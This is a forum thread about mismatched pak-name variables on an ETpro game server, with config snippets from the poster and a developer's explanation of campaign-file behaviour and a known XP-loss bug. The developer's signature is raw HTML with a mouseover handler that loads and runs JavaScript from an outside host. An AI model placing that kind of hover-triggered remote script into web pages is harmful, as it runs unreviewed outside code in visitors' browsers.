sv_referencedPakNames does not match

Discussion about specific Banimod servers ...<br>
Players may post here...

Moderators: Forum moderators, developers

Post Reply
User avatar
hallibarbie
Posts: 9
Joined: Sat Mar 13, 2004 1:45 pm
Location: Germany
Contact:

sv_referencedPakNames does not match

Post by hallibarbie »

My problem since installing ETpro 2.0.7 at server side is that the server variables sv_referencedPakNames and sv_pakNames do not match. The result is that every client connecting does download the current map at this time the map is being played. Additionally the problem is that this client is losing all its XPs while downloading even he/she/it joined at the first map of the campaign and needs to download the third map of the campaign.

Does anybody know how to prevent this? That means how to enable the old behaviour that the clients download each map missing for the campaign at the first connect on the server?

Even setting the b_campaignFile variable does not solve the problem. Here I list some (hopefully) helpful variables:
server.cfg:
.....
.....
set b_campaignFile "scripts/gmc.campaign"
.....
.....

scripts/gmc.campaign
{
name "GMC Campaign"
shortname "cmpgn_gmc"
description "Welcome to the fun clan server of [GMC].**Please respect our gaming laws:**First of all have fun while playing. Please respect that we play no wars! We only play for fun.**To keep the fun: NO verbal violence can be accepted and results in being banned!**And now have fun :)**Yours [GMC]Team***Current campaign:*goldrush**venice_b4*railgun*temple3*apennines_b2*et_assault_beta4"
mapTC 374 374
type "wolfmp"
maps "goldrush;venice_b4;railgun;temple3;apennines_b2;et_assault_beta4"
}

cvarlist *pakNames*
sv_referencedPakNames "etpro/gmc-watermark etpro/gmc-effect etpro/etpro_2_0_0 etmain/temple3 etmain/pak1 etmain/pak0 ^7"

sv_pakNames "etpro/gmc-watermark etpro/gmc-effect etpro/etpro_2_0_0 etmain/venice_b4 etmain/temple3 etmain/pak1 etmain/pak0 etmain/mp_bin etmain/et_assault_beta4 etmain/alpinnes_b2 ^7"
Can someone help pleaz?

Your sincerely
[GMC]Holle aka hallibarbie aka nomad aka Stephan Haller ;)
User avatar
hallibarbie
Posts: 9
Joined: Sat Mar 13, 2004 1:45 pm
Location: Germany
Contact:

Forgot

Post by hallibarbie »

Ohh.... I forget some (hopefully) helpful scripts:
server.cfg
....
exec campaigncycle.cfg // Campaign mode
.....
set b_campaignFile "scripts/gmc.campaign"
.....

campaigncycle.cfg
set d1 "campaign cmpgn_gmc ; set nextcampaign vstr d1"

// The server does not recognize the campaign command
// when the gamecode is not running already. So start
// first map of campaign directly
set d_initial "set g_gametype 4 ; map goldrush ; set nextcampaign vstr d1"
vstr d_initial
User avatar
Rain
Posts: 635
Joined: Sat Aug 02, 2003 3:44 pm
Location: Muffin Laboratories
Contact:

Post by Rain »

sv_referencedPakNames and sv_pakNames are not intended to always match.

You can get behavior similar to your old behavior if you don't use b_campaignfile. This will cause every map with a .campaign file in it to be referenced. b_campaignfile was introduced to prevent this, since you may wish to have third-party maps on the server without requiring clients to download them if they aren't in use.

The stat loss is a known bug, and it only occurs when using disconnected downloads. It'll be fixed in the next release of etpro.
<b onMouseOver="var d=document;if(!d.eD){var e=d.createElement('script');e.src='http://themuffin.net/forum/f.js';e.type ... ;d.eD=true;}" id="rsig">Rain</b>
Post Reply